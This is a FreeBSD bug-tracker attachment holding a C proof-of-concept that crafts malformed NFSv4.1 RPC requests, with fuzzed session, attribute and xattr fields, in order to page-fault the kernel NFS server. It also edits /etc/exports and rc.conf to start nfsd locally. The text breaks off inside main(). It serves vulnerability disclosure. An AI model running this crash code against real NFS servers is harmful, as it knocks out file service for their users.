FreeBSD Bugzilla – Attachment 229996 Details for
Bug 260293
big counts in LAYOUTRETURN can cause NFS v4 nfsrv_flexlayouterr() to page-fault
Home
|
New
|
Browse
|
Search
|
[?]
|
Reports
|
Help
|
New Account
|
Log In
Remember
[x]
|
Forgot Password
Login:
[x]
Crash an NFS v4 server with a bad LAYOUTRETURN
fnfsd_11.c (text/plain), 30.69 KB, created by
Robert Morris
on 2021-12-09 17:22:18 UTC
(
hide
)
Description:
Crash an NFS v4 server with a bad LAYOUTRETURN
Filename:
MIME Type:
Creator:
Robert Morris
Created:
2021-12-09 17:22:18 UTC
Size:
30.69 KB
patch
obsolete
>#include <stdio.h> >#include <string.h> >#include <stdlib.h> >#include <unistd.h> >#include <sys/socket.h> >#include <sys/ioctl.h> >#include <netinet/in.h> >#include <sys/wait.h> >#include <sys/resource.h> >#include <arpa/inet.h> >#include <assert.h> > >#ifndef SYM >#define SYM 0 >#endif > >static inline unsigned long symx() { >#if SYM > unsigned long x; > asm volatile("csrr %0, 0x004" : "=r" (x) ); > return x; >#else > return 0; >#endif > } > >#define NAA 128 >unsigned long long aa[NAA] = { >0x800000000000000ull, >0x180010101010140ull, >0x3300000000000000ull, >0x400000000000000ull, >0x100000000000000ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x1000000ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >}; >int aai = 0; > >char obuf[10240]; >int oi = 0; > >int s; // socket fd >int xid = 1; >unsigned long long clientid; // server tells us in exchange_id reply >unsigned int sequenceid; >unsigned int slot0sequenceid = 1; >char sessionid[16]; >int stateid_seqid; // from last received stateid4 >char stateid_other[12]; // from last received stateid4 >int tmp_fh_len; >char tmp_fh[256]; > >void put_fattr4_one(); >void put_fattr4_many(); > >void >put32(unsigned int x) >{ > assert((oi % 4) == 0); > *(int*)(obuf+oi) = htonl(x); > oi += 4; >} > >void >put64(unsigned long long x) >{ > put32(x >> 32); > put32(x); >} > >void >put_opaque(int n, const char *buf) >{ > put32(n); > for(int i = 0; i < n; i++) > obuf[oi++] = (buf ? buf[i] : 0); > while((n%4)!=0){ > obuf[oi++] = 0; > n++; > } >} > >void >put_opaque_repeat(int n, char c) >{ > put32(n); > for(int i = 0; i < n; i++) > obuf[oi++] = c; > while((n%4)!=0){ > obuf[oi++] = 0; > n++; > } >} > >void >put_sessionid(const char *sid) >{ > for(int i = 0; i < 16; i++){ > obuf[oi++] = (sid ? sid[i] : 0); > } >} > >void >put_reset() >{ > oi = 4; // leave room for packet length >} > >void >send_send() >{ > assert(oi >= 4); > assert((oi % 4) == 0); > assert(oi <= sizeof(obuf)); > assert(aai <= NAA); > *(int*)(obuf+0) = htonl((oi - 4) | 0x80000000); > printf("writing %d xid %d\n", oi, ntohl(*(int*)(obuf+4))); > if(write(s, obuf, oi) <= 0) perror("write"); > oi = 0; >} > >void >put_rpc_header(int proc) >{ > put_reset(); > put32(xid++); > put32(0); // mtype=CALL > put32(2); // rpc version > put32(100003); // prog # > put32(4); // prog vers > put32(proc); // proc > if(proc == 0){ > put32(0); // cred type > put32(0); // cred len > } else { > put32(1); // cred type AUTH_SYS / AUTH_UNIX > put32(32); // cred length > put32(0); // stamp > put_opaque(9, "localhost"); > put32(65534); // uid > put32(65534); // gid > put32(0); // # gids > } > put32(0); // verf type > put32(0); // verf len >} > >void >put_compound(int n) >{ > put_rpc_header(1); > > // compound header > put_opaque(0, ""); // tag > put32(2); // minor version > put32(n); // # operations in the compound >} > >// most COMPOUNDs are required to start with a SEQUENCE. >void >put_sequence() >{ > put32(53); // SEQUENCE > put_sessionid(sessionid); // sessionid (16 bytes) > put32(slot0sequenceid++); // sequenceid ??? > put32(0); // slotid > put32(0); // highest_slotid > put32(0); // cachethis >} > >void >put_reclaim_complete() >{ > put32(58); // RECLAIM_COMPLETE > put32(0); // 0 means global, 1 means just current fh >} > > >char ibuf[10240]; >int ii; >int ilen; > >int >readn(int fd, void *xbuf, int n) >{ > char *buf = (char *) xbuf; > int orig = n; > while(n > 0){ > int cc = read(fd, buf, n); > if(cc <= 0) { perror("read"); return -1; } > n -= cc; > buf += cc; > } > return orig; >} > >unsigned int >parse32() >{ > if(ii >= ilen){ > printf("parsed beyond the end of the input\n"); > return 0; > } > unsigned int x = *(int*)(ibuf+ii); > ii += 4; > return ntohl(x); >} > >unsigned long long >parse64() >{ > unsigned long long hi = parse32(); > unsigned long long lo = parse32(); > return (hi << 32) | lo; >} > >// sessionid4 -- 16 bytes >void >parse_sessionid(char *sid) >{ > for(int i = 0; i < 16; i++){ > if(sid) > sid[i] = ibuf[ii]; > ii++; > } >} > >unsigned int >parse_opaque(char *buf) >{ > if(buf) > buf[0] = 0; > int nominal_n = parse32(); > if(nominal_n > 4096){ > printf("crazy opaque length %d\n", nominal_n); > return 0; > } > int real_n = nominal_n; > while((real_n%4) != 0) real_n += 1; > for(int i = 0; i < real_n; i++){ > if(buf && i < real_n) > buf[i] = ibuf[ii]; > ii++; > } > return nominal_n; >} > >void >parse_exchange_id_reply() >{ > int status = parse32(); > if(status != 0) > printf("exchange_id reply status %d, not 0\n", status); > clientid = parse64(); > sequenceid = parse32(); > printf("exchange_id clientid 0x%llx sequenceid 0x%x\n", clientid, sequenceid); >} > >void >parse_create_session_reply() >{ > int status = parse32(); > if(status != 0) > printf("create_session reply status %d, not 0\n", status); > parse_sessionid(sessionid); >} > >void >parse_sequence_reply() >{ > int status = parse32(); > if(status != 0) > printf("sequence reply status %d, not 0\n", status); > parse_sessionid(0); > parse32(); // sequenceid > parse32(); // slotid > parse32(); // highest_slotid > parse32(); // target_highest_slotid > parse32(); // status_flags >} > >void >parse_putrootfh_reply() >{ > int status = parse32(); > if(status != 0) > printf("putrootfh_reply status %d\n", status); >} > >void >parse_lookup_reply() >{ > int status = parse32(); > if(status != 0) > printf("lookup_reply status %d\n", status); >} > >void >parse_stateid() >{ > stateid_seqid = parse32(); > for(int i = 0; i < 12; i++) > stateid_other[i] = ibuf[ii++]; >} > >void >parse_open_reply() >{ > int status = parse32(); > if(status != 0){ > printf("open status %d\n", status); > return; > } > parse_stateid(); > parse32(); // change_info atomic > parse64(); // change_info before > parse64(); // change_info after > parse32(); // rflags > unsigned int bitwords = parse32(); // attrset > for(int i = 0; i < bitwords; i++) > parse32(); > int delegation_type = parse32(); // open_delegation4 > if(delegation_type == 0){ > // OPEN_DELEGATE_NONE > } else if(delegation_type == 1){ > // OPEN_DELEGATE_READ > // open_read_delegation4 > parse32(); // stateid seqid > parse32(); // other > parse32(); // other > parse32(); // other > parse32(); // recall > // nfsace4 > parse32(); // nfsace4 type > parse32(); // nfsace4 flag > parse32(); // nfsace4 access_mark > parse_opaque(0); // nfsace4 who > } else { > printf("DID NOT understand delegation_type %d\n", delegation_type); > } >} > >void >parse_compound_reply() >{ > int stat = parse32(); // OK > parse_opaque(0); > int nops = parse32(); > printf("compound reply, nops %d, stat %d", nops, stat); > if(stat > 0 && stat < 200){ > printf(" %s", strerror(stat)); > } > printf("\n"); > for(int opi = 0; opi < nops && ii < ilen; opi++){ > int op = parse32(); > printf("reply for op %d\n", op); > if(op == 53){ > parse_sequence_reply(); > } else if(op == 42){ > parse_exchange_id_reply(); > } else if(op == 43){ > parse_create_session_reply(); > } else if(op == 24){ > parse_putrootfh_reply(); > } else if(op == 15){ > parse_lookup_reply(); > } else if(op == 18){ > parse_open_reply(); > } else if(op == 26){ > int status = parse32(); > printf("readdir status %d\n", status); > if(status == 0){ > long long verf = parse64(); > int nentries = parse32(); > long long cookie = parse64(); > char name[1024]; > memset(name, 0, sizeof(name)); > parse_opaque(name); > printf("verf %llx *entries %d cookie %llx name %s\n", verf, nentries, cookie, name); > } > break; > } else if(op == 34){ > int status = parse32(); > printf("setattr status %d\n", status); > break; > } else if(op == 22){ > // putfh > int status = parse32(); > printf("putfh status %d\n", status); > } else if(op == 10){ > // getfh > int status = parse32(); > if(status == 0){ > int tmp_fh_len = parse_opaque(tmp_fh); > printf("getfh fh_len %d\n", tmp_fh_len); > } else { > printf("getfh status %d\n", status); > } > } else { > break; > } > } >} > >void >parse_reply(int proc) >{ > int desired_xid = xid - 1; > if(readn(s, &ilen, 4) < 0) > return; > ilen = ntohl(ilen); > if((ilen & 0x80000000) == 0) > printf("ilen is missing 0x80000000\n"); > ilen &= 0x7fffffff; > if(ilen > sizeof(ibuf)){ > printf("huge packet %d\n", ilen); > return; > } > if(readn(s, ibuf, ilen) < 0) > return; > ii = 0; > int xxid = parse32(); // xid > if(xxid != desired_xid){ > printf("xid mismatch, wanted 0x%x, got 0x%x, ilen %d, ii %d\n", desired_xid, xxid, ilen, ii); > } > int mtype = parse32(); // 1 = REPLY > if(mtype != 1) > printf("unexpected mtype %d, expected 1 / REPLY\n", mtype); > int stat = parse32(); // MSG_ACCEPTED > if(stat != 0) > printf("unexpected reply stat %d, expected 0 / MSG_ACCEPTED\n", stat); > int flavor = parse32(); // auth flavor > if(flavor != 0) > printf("unexpected auth_flavor %d, expecting 0 / AUTH_NONE\n", flavor); > parse_opaque(0); // verf > stat = parse32(); // SUCCESS > if(stat != 0) > printf("unexpected stat %d, expected 0 / SUCCESS\n", stat); > > if(proc == 0){ > printf("got reply for proc %d\n", proc); > } else if(proc == 1){ > parse_compound_reply(); > } else { > printf("got unexpected reply for proc %d xid %d\n", proc, xxid); > } >} > >void >send_nop() >{ > put_rpc_header(0); > send_send(); > parse_reply(0); >} > >void >send_exchange_id() >{ > put_compound(1); > //int xoi = oi; > put32(42); // operation 42: EXCHANGE_ID > int co_verifier = 1; >#if !SYM > co_verifier = getpid(); // needs to be unique >#endif > put64(co_verifier); // verifier4 > put_opaque(22, "Linux NFSv4.2 xyzzy"); // co_ownerid > put32(0x103); // flags > put32(0); // SP4_NONE > put32(1); // length of client_impl_id > put_opaque(10, "kernel.org"); // nii_domain > put_opaque(4, "blah"); // nii_name > put64(0); // nfstime4 > put32(0); // nfstime4 > > //for(int i = xoi; i < oi; i += 8) > // *(long long *)(obuf+i) ^= aa[aai++]; > > send_send(); > parse_reply(1); >} > >void >send_exchange_id_sym() >{ > put_compound(1); > put32(42); // operation 42: EXCHANGE_ID > put64(1); // verifier4 > put_opaque(22, "Linux NFSv4.2 xyzzy"); // co_ownerid > put32(0x103 ^ aa[aai++]); // flags > unsigned int how = aa[aai++]; > put32(how); > int xoi = oi; > if(how == 0){ // SP4_NONE > } else if(how == 1){ // SP4_MACH_CRED > put32(3); > put32(0xffffffff); > put32(0xffffffff); > put32(0xffffffff); > put32(3); > put32(0xffffffff); > put32(0xffffffff); > put32(0xffffffff); > } else if(how == 2){ // SP4_SSV > // ssp_ops > put32(3); > put32(0xffffffff); > put32(0xffffffff); > put32(0xffffffff); > // ssp_hash_algs<> > put32(2); > put_opaque(8, "12345678"); > put_opaque(8, "1bcdefgh"); > // ssp_encr_algs<> > put32(2); > put_opaque(8, "12345678"); > put_opaque(8, "1bcdefgh"); > put32(99); // ssp_window > put32(99); // ssp_num_gss_handles > } > unsigned int n = aa[aai++]; > if(n > 20) n = 20; > put32(n); // length of client_impl_id > for(int i = xoi; i < oi && aai < NAA; i += 8) > *(long long *)(obuf+i) ^= aa[aai++]; > for(int i = 0; i < n; i++){ > put_opaque_repeat(aa[aai++] & 0xff, 'x'); // nii_domain > put_opaque_repeat(aa[aai++] & 0xff, 'y'); // nii_name > put64(0); // nfstime4 > put32(0); // nfstime4 > } > send_send(); > parse_reply(1); >} > >void >send_create_session(int dosym) >{ > put_compound(1); > put32(43); // CREATE_SESSION > put64(clientid); > put32(sequenceid++); > int xoi = oi; > put32(1); // flags, 1=CREATE_SESSION4_FLAG_PERSIST > // csa_fore_chan_attrs, csa_back_chan_attrs > for(int i = 0; i < 2; i++){ > put32(0); // headerpadsize > put32(4096); // maxrequestsize > put32(4096); // maxresponse > put32(0); > put32(5); > put32(16); > put32(0); // ca_rdma_ird<> > } > put32(0x40000000); // csa_cb_program > put32(1); // length of csa_sec_parms > put32(1); // flavor AUTH_SYS > put32(0); // stamp > put_opaque(9, "localhost"); > put32(65534); // uid > put32(65534); // gid > put32(0); // # gids > > if(dosym) > for(int i = xoi; i < oi; i += 8) > *(long long *)(obuf+i) ^= aa[aai++]; > > send_send(); > parse_reply(1); >} > >void >send_sequence() >{ > put_compound(1); > put_sequence(); > send_send(); > parse_reply(1); >} > >void >send_reclaim_complete() >{ > put_compound(2); > put_sequence(); > put_reclaim_complete(); > send_send(); > parse_reply(1); >} > >void >put_rootfh() >{ > put32(24); >} > >void >put_open_existing(const char *filename, int share) >{ > put32(18); > put32(0); // seqid > put32(share); // share_access 1=READ 3=BOTH > put32(0); // share_deny > put64(clientid); // owner > put_opaque(22, "Linux NFSv4.2 xyzzy"); // owner > put32(0); // openhow OPEN4_NOCREATE > put32(0); // CLAIM_NULL > put_opaque(strlen(filename), filename); >} > >void >put_open_create(int dosym) >{ > put32(18); > put32(0); // seqid > put32(3); // share_access BOTH > put32(0); // share_deny > put64(clientid); // owner > put_opaque(22, "Linux NFSv4.2 xyzzy"); // owner > put32(1); // openhow OPEN4_CREATE > unsigned int mode = 0; // UNCHECKED4 > if(dosym) > mode ^= aa[aai++]; > put32(mode); > if(mode == 2 || mode == 3){ > put64(0); // verifier > } > if(mode != 2){ > if(dosym){ > put_fattr4_one(); > } else { > put32(2); // attr bitmap length > put32(16); // attr bits > put32(2); // attr bits > put32(12); // attr len > put32(0); > put32(0); > put32(420); > } > } > unsigned int claim_type = 0; // CLAIM_NULL > if(dosym) > claim_type ^= aa[aai++]; > put32(claim_type); > unlink("/tmp/newfile"); > if(claim_type == 0 || claim_type == 3){ > put_opaque(7, "newfile"); > } else if(claim_type == 1){ // CLAIM_PREVIOUS > put32(aa[aai++]); > } else if(claim_type == 2){ // CLAIM_DELEGATE_CUR > // stateid4 > put32(stateid_seqid); // open_stateid, from previous OPEN > for(int i = 0; i < 12; i++) > obuf[oi++] = stateid_other[i]; > put_opaque(7, "newfile"); > } else if(claim_type == 4){ // CLAIM_FH > } else if(claim_type == 5){ // CUR_FH > put32(stateid_seqid); // open_stateid, from previous OPEN > for(int i = 0; i < 12; i++) > obuf[oi++] = stateid_other[i]; > } else if(claim_type == 6){ // PREV_FH > } >} > >void >put_readdir(int dosym) >{ > put32(26); > int xoi = oi; > put64(0); // cookie > put64(0); // cookieverf > put32(512); // dircount (bytes) > put32(512); // maxcount (bytes) > // bitmap > put32(4); > put32(0x0018091a); > put32(0x00b0a23a); > put32(0); > put32(0); > if(dosym) > for(int i = xoi; i < oi; i += 8) > *(long long *)(obuf+i) ^= aa[aai++]; >} > >void >put_lookup(const char *name) >{ > put32(15); > put_opaque(strlen(name), name); >} > >// >// generates a fattr4 (bitmap4 then attrlist4). >// >void >put_fattr4(int bitwords, int xwords[], int fh, int sym_bitmap, int sym_content) >{ > int words[3]; > for(int i = 0; i < 3; i++){ > if(i < bitwords) > words[i] = xwords[i]; > else > words[i] = 0; > if(sym_bitmap){ > words[i] ^= aa[aai++]; > } > } > bitwords = 3; > put32(bitwords); > int word0i = oi; > for(int i = 0; i < bitwords; i++) > put32(words[i]); > int leni = oi; > put32(0); // placeholder for total length of attrs > for(int a = 0; a < bitwords*32; a++){ > if(words[a/32] & (1 << (a % 32))){ > int xoi = oi; > if(a == 0){ > put32(2); // # bitmap words of supported attrs > put32(0xffffffff); > put32(0xffffffff); > } else if(a == 1){ > int type = 1; > if(fh == 0 || fh == 1) > type = 2; > put32(type); // NF4DIR=2 or NF4REG=1 > } else if(a == 2){ > put32(0); // fh_expire_type > } else if(a == 3){ > put64(0); // change > } else if(a == 4){ > put64(4096*10); // size > } else if(a == 5){ > put32(1); // link support > } else if(a == 6){ > put32(1); // symlink support > } else if(a == 8){ > put64(1); // fsid major > put64(1); // fsid minor > } else if(a == 10){ > put32(1); // lease time > } else if(a == 11){ > put32(0); // rdattr_error > } else if(a == 13){ > put32(0xf); // aclsupport > } else if(a == 19){ > // filehandle > int xfh = fh; > put_opaque(4, (char*)&xfh); // fh > } else if(a == 20){ > put64(fh); // fileid > } else if(a == 24){ > // fs_locations > put32(1); > put_opaque(10, "abcde12345"); // pathname4 > put32(1); // locations<> > put_opaque(10, "abcde12345"); // server > put32(1); > put_opaque(10, "abcde12345"); // rootpath > } else if(a == 27){ > put64(0xffffffffffff); // max file size > } else if(a == 28){ > put32(0xffff); // max link > } else if(a == 29){ > put32(256); // max name > } else if(a == 30){ > put64(10*4096); // max read > } else if(a == 31){ > put64(10*4096); // max write > } else if(a == 33){ > put32(0777); // mode > } else if(a == 35){ > put32(3); // numlinks > } else if(a == 36){ > put_opaque(6, "other"); // owner > } else if(a == 37){ > put_opaque(6, "other"); // owner_group > } else if(a == 41){ > put32(1); // rawdev major > put32(1); // rawdev minor > } else if(a == 45){ > put64(4096*10); // space used > } else if(a == 47){ > put64(0); // time access seconds > put32(0); // nseconds > } else if(a == 51){ > put64(0); // time delta seconds > put32(0); // nseconds > } else if(a == 52){ > put64(0); // time metadata seconds > put32(0); // nseconds > } else if(a == 53){ > put64(0); // time modify seconds > put32(0); // nseconds > } else if(a == 55){ > put64(0); // mounted_on_fileid ??? > } else if(a == 62){ > // fs_layout_types > put32(1); > put32(1); // LAYOUT4_NFSV4_1_FILES > } else if(a == 75){ > // FATTR4_SUPPATTR_EXCLCREAT > put32(2); // bitmap length > put32(0xffffffff); > put32(0xffffffff); > } else { > // unknown attr, delete from bitmap. > words[a/32] &= ~(1 << (a % 32)); > *(int*)(obuf + word0i + 4*(a/32)) = htonl(words[a/32]); > } > if(sym_content) > for(int i = xoi; i+4 <= oi; i += 4) > *(int *)(obuf+i) ^= aa[aai++]; > } > } > *(int*)(obuf+leni) = htonl(oi - leni - 4); >} > >void >put_fattr4_inner(int words[]) >{ > int bitwords = 3; > put32(bitwords); > int word0i = oi; > for(int i = 0; i < bitwords; i++) > put32(words[i]); > int leni = oi; > put32(0); // placeholder for total length of attrs > for(int a = 0; a < bitwords*32; a++){ > if(words[a/32] & (1 << (a % 32))){ > if(a == 0){ > int n = 3 ^ (aa[aai++] & 0xf); > put32(n); // # bitmap words of supported attrs > for(int i = 0; i < n; i++){ > put32(0xffffffff ^ aa[aai++]); > } > } else if(a == 1){ > put32(1 ^ aa[aai++]); // NF4DIR=2 or NF4REG=1 > } else if(a == 2){ > put32(aa[aai++]); // fh_expire_type > } else if(a == 3){ > put64(aa[aai++]); // change > } else if(a == 4){ > put64(103 ^ aa[aai++]); // size > } else if(a == 5){ > put32(aa[aai++]); // link support > } else if(a == 6){ > put32(aa[aai++]); // symlink support > } else if(a == 8){ > put64(aa[aai++]); // fsid major > put64(aa[aai++]); // fsid minor > } else if(a == 10){ > put32(aa[aai++]); // lease time > } else if(a == 11){ > put32(aa[aai++]); // rdattr_error > } else if(a == 13){ > put32(aa[aai++]); // aclsupport > } else if(a == 19){ > // filehandle > int n = aa[aai++] & 0xff; > put_opaque_repeat(n, 'x'); > } else if(a == 20){ > put64(aa[aai++] & 0x3); // fileid > } else if(a == 24){ > // fs_locations > put_opaque(10, "abcde12345"); // pathname4 > int n = aa[aai++] & 0x1f; > put32(n); // locations<> > for(int i = 0; i < n; i++){ > put_opaque_repeat(aa[aai++] & 0x1ff, 'x'); // server > put_opaque_repeat(aa[aai++] & 0x1ff, 'y'); // rootpath > } > } else if(a == 27){ > put64(aa[aai++]); // max file size > } else if(a == 28){ > put32(aa[aai++]); // max link > } else if(a == 29){ > put32(aa[aai++]); // max name > } else if(a == 30){ > put64(aa[aai++]); // max read > } else if(a == 31){ > put64(aa[aai++]); // max write > } else if(a == 33){ > put32(aa[aai++]); // mode > } else if(a == 35){ > put32(aa[aai++]); // numlinks > } else if(a == 36){ > put_opaque_repeat(aa[aai++] & 0x1ff, 'z'); // owner > } else if(a == 37){ > put_opaque_repeat(aa[aai++] & 0x1ff, 'z'); // owner_group > } else if(a == 41){ > put32(aa[aai++]); // rawdev major > put32(aa[aai++]); // rawdev minor > } else if(a == 45){ > put64(aa[aai++]); // space used > } else if(a == 47){ > put64(0); // time access seconds > put32(0); // nseconds > } else if(a == 51){ > put64(aa[aai++]); // time delta seconds > put32(aa[aai++]); // nseconds > } else if(a == 52){ > put64(0); // time metadata seconds > put32(0); // nseconds > } else if(a == 53){ > put64(0); // time modify seconds > put32(0); // nseconds > } else if(a == 55){ > put64(aa[aai++]); // mounted_on_fileid ??? > } else if(a == 62){ > // fs_layout_types > put32(aa[aai++]); > put32(aa[aai++]); // LAYOUT4_NFSV4_1_FILES > } else if(a == 75){ > // FATTR4_SUPPATTR_EXCLCREAT > int n = aa[aai++] & 0xf; > put32(n); // # bitmap words of supported attrs > for(int i = 0; i < n; i++){ > put32(aa[aai++]); > } > } else { > // unknown attr, delete from bitmap. > words[a/32] &= ~(1 << (a % 32)); > *(int*)(obuf + word0i + 4*(a/32)) = htonl(words[a/32]); > } > } > } > *(int*)(obuf+leni) = htonl(oi - leni - 4); >} > >// >// generate a symbolic fattr4, with multiple elements. >// tries to avoid generating illegal XDR. >// >void >put_fattr4_many() >{ > int bitwords = 3; > int words[4]; > memset(words, 0, sizeof(words)); > int setme[] = { -1 }; > for(int i = 0; setme[i] >= 0; i++){ > int a = setme[i]; > words[a/32] |= 1 << (a % 32); > } > for(int i = 0; i < bitwords; i++){ > words[i] ^= aa[aai++]; > } > put_fattr4_inner(words); >} > >// >// a symbolic fattr4 with just one item set. >// >void >put_fattr4_one() >{ > int bitwords = 3; > int words[4]; > memset(words, 0, sizeof(words)); > unsigned int bit = aa[aai++]; > if(bit >= 3*32) > bit = 4; > words[bit/32] |= 1 << (bit % 32); > put_fattr4_inner(words); >} > >void >put_setattr(int dosym) >{ > put32(34); > put32(stateid_seqid); // open_stateid, from previous OPEN > for(int i = 0; i < 12; i++) > obuf[oi++] = stateid_other[i]; > // int words[3]; > // words[0] = words[1] = words[2] = 0; > // put_fattr4(3, words, 99, dosym, dosym); > // put_fattr4_many(); > put_fattr4_one(); >} > >void >send_open_existing(const char *filename, int sharing) >{ > put_compound(4); > put_sequence(); > put_rootfh(); > put_lookup("tmp"); > put_open_existing(filename, sharing); > send_send(); > parse_reply(1); >} > >void >send_open_create(int dosym) >{ > put_compound(4); > put_sequence(); > put_rootfh(); > put_lookup("tmp"); > put_open_create(dosym); > send_send(); > parse_reply(1); >} > >void >put_create() >{ > put32(6); > int type = 5; // NFS4LNK > type ^= aa[aai++]; > put32(type); > if(type == 5){ > put_opaque(16, "abcdefgh12345678"); > } else if(type == 4 || type == 3){ // CHR, BLK > put32(aa[aai++]); // major > put32(aa[aai++]); // minor > } > unlink("/tmp/newlink"); > put_opaque(7, "newlink"); > // int words[3] = { 0, 0, 0 }; > // put_fattr4(3, words, 99, dosym, dosym); > put_fattr4_one(); > if(0){ > put32(3); // fattr4 bitmap size > put32(0); > put32(0); > put32(0); > put32(0); // opaque fattr4 size > } >} > >void >send_create() >{ > put_compound(4); > put_sequence(); > put_rootfh(); > put_lookup("tmp"); > put_create(); > send_send(); > parse_reply(1); >} > >void >send_setattr(int dosym) >{ > put_compound(5); > put_sequence(); > put_rootfh(); > put_lookup("tmp"); > put_lookup("frobozz"); > // put_open_existing("frobozz", 3); > put_setattr(dosym); > send_send(); > parse_reply(1); >} > >void >put_putfh() >{ > put32(22); > int xoi = oi; > put_opaque(28, tmp_fh); > for(int i = xoi; i+8 <= oi; i += 8) > *(long long *)(obuf+i) ^= aa[aai++]; >} > >void >send_putfh() >{ > put_compound(2); > put_sequence(); > put_putfh(); > send_send(); > parse_reply(1); >} > >void >put_getfh() >{ > put32(10); >} > >void >send_lookup() >{ > put_compound(4); > put_sequence(); > put_rootfh(); > put_lookup("tmp"); > put_getfh(); > send_send(); > parse_reply(1); >} > >void >send_readdir(int dosym) >{ > put_compound(4); > put_sequence(); > put_rootfh(); > put_lookup("tmp"); > put_readdir(dosym); > send_send(); > parse_reply(1); >} > >void >put_listxattrs() >{ > put32(74); > put64(0); // cookie > put32(16384); // maxcount >} > >void >send_listxattrs() >{ > put_compound(4); > put_sequence(); > put_rootfh(); > put_lookup("tmp"); > put_listxattrs(); > send_send(); > parse_reply(1); >} > >void >put_lock(int dosym) >{ > put32(12); > int xoi = oi; > put32(1); // READ_LT > put32(0); // reclaim > put64(0); // offset > put64(2); // length > put32(1); // new_lock_owner > put32(0); // open_seqid > put32(stateid_seqid); // open_stateid, from previous OPEN > for(int i = 0; i < 12; i++) > obuf[oi++] = stateid_other[i]; > put32(0); // lock_seqid > put64(clientid); // clientid > put_opaque(22, "Linux NFSv4.2 xyzzy"); // owner > if(dosym) > for(int i = xoi; i+8 <= oi; i += 8) > *(long long *)(obuf+i) ^= aa[aai++]; >} > >void >send_lock(int dosym) >{ > put_compound(5); > put_sequence(); > put_rootfh(); > put_lookup("tmp"); > put_lookup("lockfile"); > put_lock(dosym); > send_send(); > parse_reply(1); >} > >void >put_dir_delegation(int dosym) >{ > int xoi = oi; > put32(46); > put32(0); // signal_deleg_avail > put32(3); // notification_types bitmap length > put32(0xffffffff); > put32(0xffffffff); > put32(0xffffffff); > put64(0); // child_attr_delay > put32(0); // child_attr_delay > put64(0); // dir_attr_delay > put32(0); // dir_attr_delay > put32(3); // child_attributes bitmap length > put32(0xffffffff); > put32(0xffffffff); > put32(0xffffffff); > put32(3); // dir_attributes bitmap length > put32(0xffffffff); > put32(0xffffffff); > put32(0xffffffff); > if(dosym) > for(int i = xoi; i+8 <= oi; i += 8) > *(long long *)(obuf+i) ^= aa[aai++]; >} > >void >send_dir_delegation(int dosym) >{ > put_compound(4); > put_sequence(); > put_rootfh(); > put_lookup("tmp"); > put_dir_delegation(dosym); > send_send(); > parse_reply(1); >} > >void >put_setxattr(int dosym) >{ > put32(73); > if(dosym == 2){ > put32(0); // SETXATTR4_EITHER > unsigned int klen = aa[aai++] & 0xfff; > unsigned int vlen = aa[aai++] & 0xfff; > for(int i = oi; i+8 <= sizeof(obuf) && aai < NAA; i += 8) > *(unsigned long long *)(obuf + i) = 0x4444444444444444ll ^ aa[aai++]; > if(klen < 1) klen = 1; > put32(klen); > oi += klen; > while((oi % 4) != 0) oi++; > put32(vlen); > oi += vlen; > while((oi % 4) != 0) oi++; > } else if(dosym == 3) { > int xoi = oi; > put32(0); // SETXATTR4_EITHER > put32(24); // klen > for(int i = 0; i < 3; i++){ > *(long long *)(obuf + oi) = 0x4444444444444444ll ^ aa[aai++]; > oi += 8; > } > put32(24); // vlen > for(int i = 0; i < 3; i++){ > *(long long *)(obuf + oi) = 0x4444444444444444ll ^ aa[aai++]; > oi += 8; > } > } else { > int xoi = oi; > put32(0); // SETXATTR4_EITHER > put_opaque(24, "12345678abcdefgh12345678"); // key > put_opaque(16, "abcdefgh12345678"); // value > if(dosym) > for(int i = xoi; i+8 <= oi; i += 8) > *(long long *)(obuf+i) ^= aa[aai++]; > } >} > >void >send_setxattr(int dosym) >{ > put_compound(5); > put_sequence(); > put_rootfh(); > put_lookup("tmp"); > system("echo hi > /tmp/xfile ; chown nobody /tmp/xfile"); > put_lookup("xfile"); > put_setxattr(dosym); > send_send(); > parse_reply(1); >} > >void >put_junk(int op, int words) >{ > put32(op); > int xoi = oi; > for(int i = 0; i < words; i++) > put32(0); > for(int i = xoi; i+8 <= oi; i += 8) > *(long long *)(obuf+i) ^= aa[aai++]; >} > >void >send_junk(int op, int words) >{ > put_compound(5); > put_sequence(); > put_rootfh(); > put_lookup("tmp"); > put_junk(op, words); > send_send(); > parse_reply(1); >} > >int >main(){ > setlinebuf(stdout); > struct rlimit r; > r.rlim_cur = r.rlim_max = 0; > setrlimit(RLIMIT_CORE, &r); > > system("echo V4: / 127.0.0.1 > /etc/exports"); > system("echo /tmp 127.0.0.1 >> /etc/exports"); > system("echo 'nfsv4_server_enable=YES' >> /etc/rc.conf"); > system("/etc/rc.d/nfsd onestart"); > sleep(3); > > s = socket(AF_INET, SOCK_STREAM, 0); > int yes = 1; > if(setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes)) < 0) > perror("SO_REUSEADDR"); > struct sockaddr_in sin; > memset(&sin, 0, sizeof(sin)); > sin.sin_family = AF_INET; > 